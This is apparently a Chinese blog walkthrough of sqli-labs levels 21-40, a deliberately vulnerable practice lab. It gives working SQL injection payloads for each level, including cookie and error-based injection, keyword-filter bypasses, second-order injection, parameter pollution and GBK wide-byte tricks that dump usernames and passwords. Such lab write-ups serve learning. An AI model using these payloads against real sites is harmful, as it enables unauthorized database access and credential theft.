sql-labs 21-40关

Less-21

进去发现和20关一样,显示一堆信息。抓了包发现,cookie和之前的不一样
在这里插入图片描述
查了百度得知,cookie是进行了base64编码处理。
在线Base64编码转换
照搬20关的方法,记得将代码进行编码转化
' or updatexml(1,concat('#',(select database()),'#'),1)#
在这里插入图片描述

Less-22

双引号闭合,参考Less-21。

Less-23

这关不管怎么尝试,都是出现一堆英文
在这里插入图片描述
看一下源码,发现
在这里插入图片描述
符号 # ,- -,空格都被注释掉了。那这样的话以往的联合语句就不能照搬过来用了。
可以采用闭合注入语句,空格可以用+代替。
源码的语句为在这里插入图片描述
可以输入?id=0' union select 1,2,3'
第一个’(单引号)闭合0,第二个’(单引号)闭合后面的单引号。
这样整个语句就变成了$sql="SELECT * FROM users WHERE id='0' union select 1,2,3' LIMIT 0,1"可以看到
在这里插入图片描述
有两个显示位面,然后用联合注入。

Less-24

进去发现界面和之前的都不一样,是没有玩过的船新版本。不仅可以输入账号密码,还有忘记密码和注册新账户的功能。先输入正确的账号密码,进去看看
在这里插入图片描述发现可以在此界面修改自己的密码
看了大佬的博客得知可以这样,先是注册一个 admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是 admin的密码。
Sql 语句变为 UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也 就 是 执 行了 UPDATE users SET passwd="New_Pass" WHERE username =' admin'
这样就达到目的了。

Less-25

看本关的提示发现,OR 和AND 都被过滤了。
看了别人的博客想到以下方法
(1)大小写变形 Or,OR,oR
(2)双写OR 和AND
(3)添加注释比如a/**/nd,这是的and就不会被过滤。
(4)利用符号 and=&&, or=||
?id=0' union select 1,2,3--+有两个显示位面。
爆所有数据库/?id=0' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),database()--+
在这里插入图片描述
之后就是联合注入。
还有屏幕最下方的蓝色字可以查漏补缺,蓝字就是自己构造的payload语句,只要检查这条语句哪里缺漏了就可以知道哪里被过滤掉了。

Less-25a

注入方法和25关相同,只不过要采用盲注。

Less26

看一下源码,发现一堆东西都被过滤了
在这里插入图片描述or和and可以用25关的方法进行绕过,但是要注意上图的/or/i中的i表示ignore忽略,即or不区分大小写,可以双写绕过。空格可以用url编码%0a或用+替代。
但不知道为什么,不行。我用/?id=0%27union%0aselect%0a1,2,3||%271会报错,明明把被过滤都绕过了,不太清楚。不过可以试试报错注入。
数据库
?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1
数据表
?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
字段名
?id=0'||updatexml(1,concat('$',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')%26%26(table_name='users'))),0)||'1'='1
数据
/?id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1

Less-26a

这关是')型,与上一关不同的是,这一关没有报错显示,所以要用联合注入。注意前后加括号进行语句闭合。

Less-27

看图片这关应该是union和select被过滤了,考虑可以改变大小写混写使用。
先输入/?id=1发现页面正常且有两个显示位面,经过尝试发现这关是')闭合性,同时也说明'没有被过滤。之后发现空格也被过滤了。那就用%0a代替。用联合注入
查数据库
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(schema_name)%0afrom%0a%20information_schema.schemata),%271
查数据表
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0a information_schema.tables%0awhere%0atable_schema='security'),%271
查字段
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(column_name)%0afrom%0a information_schema.columns%0awhere%0atable_name='users'%0aand%0atable_schema='security'),%271查数据
/?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(username)%0afrom%0asecurity.users),(SeLeCt%0agroup_concat(password)%0afrom%0asecurity.users)'

Less-27a

这关是"闭合,具体和27关一样。

Less-28

这一关发现复制27关,仅仅只是union被过滤了,但这次不管怎么大小写混用,都没用。看来过滤的很透彻,是个狼人。可以双写,然后记得两个union之间要加空格(%0a)select也是这样。
然后还是不行,看了语句明明没问题,之后意识到可能闭合情况不一样,加了括号就对了。
查数据库
/?id=0')%0aunion%0aunion%0aSeLeCt%0aselect%0a1,(SeLeCt%0agroup_concat(schema_name)%0afrom%0a%20information_schema.schemata),('1
后面的照搬27关,记得加括号。

Less-28a

这关发现直接照搬28关就出来了,真香。

服务器(两层)架构

在这里插入图片描述
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache
为引擎的 php 服务器。
真正提供 web服务的是 php服务器。工作流程为: client 访问服务器, 能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回时路径则相反。
所以我们可以输入两个数据,第一个数据欺骗以tomcat 为引擎的 jsp 型服务器,第二个数据则是有用的数据。

Less-29

查数据
/?id=1&id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-30

根据以前做的经验,这关应该和上一关差不多,估计是闭合状况不同。果然,是"闭合型。
查数据
/?id=1&id=0" union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-31

这关也一样,是")型闭合。
查数据
/?id=1&id=0") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

宽字节注入

mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii码大于 128 才能到汉字的范围)。我们在过滤 '的时候,往往利用的思路是将 '转换为\' 。 因此我们要想办法将\'中的\除掉,然后就只剩下'了,就达到目的了。

可以用%df 吃掉\。有一个函数urlencode,可将字符串以URL编码,用于编码处理。urlencode(\') =%5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c就是一个汉字%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

Less-32

首先,照着上一关的代码鞥搬上去,发现下方蓝色字出现异常
在这里插入图片描述多了一个\反斜杠符号,看源码得知
在这里插入图片描述
addslashes()函数的作用是:
在 单引号',双引号",反斜杠\还有NULL前面加上反斜杠\
所以我们可以用加上%df的方法来进行注入。
查数据/?id=0%df' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-33

这关直接照搬上一关的代码。

Less-34

本关是post型的注入漏洞,同样的也是将post过来的内容进行了\'的处理。
get 型的方式我们是以url形式提交的,因此数据会通过URLencode,从而将'转义为%27
但post型省了这一步,在post栏里输入的字符不会被自动转换,也就是说在url里面输入%df会被后台转义为 � 这个东西,但是在post中输入%df就还是%df,我们要直接输入%df的转义字符� ,这样效果才等同于在url中输入%df。
查数据Username:0admin�' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#
这一关也可以用万能密码,注意在'0前加上� 。

Less-35

这一关对id没有任何闭合,那就没有必要去考虑 check_addslashes()函数的意义了。
直接 查数据
/?id=0 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-36

这关是单引号闭合,和32关一样
查数据/?id=0%df' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-37

post型,照搬34关试试,可以。

Less-38

这一关看名字,得知是堆叠注入,查了百度原来就是两个sql语句一块执行。
直接照搬29关代码。

Less-39

这一关是数字型注入,照搬29关代码,只需取掉'即可。
查数据
/?id=1&id=0 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

Less-40

这关是')型注入,
查数据
/?id=1&id=0')%20union%20select%201,(select%20group_concat(username)%20from%20security.users),(select%20group_concat(password)%20from%20security.users)--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值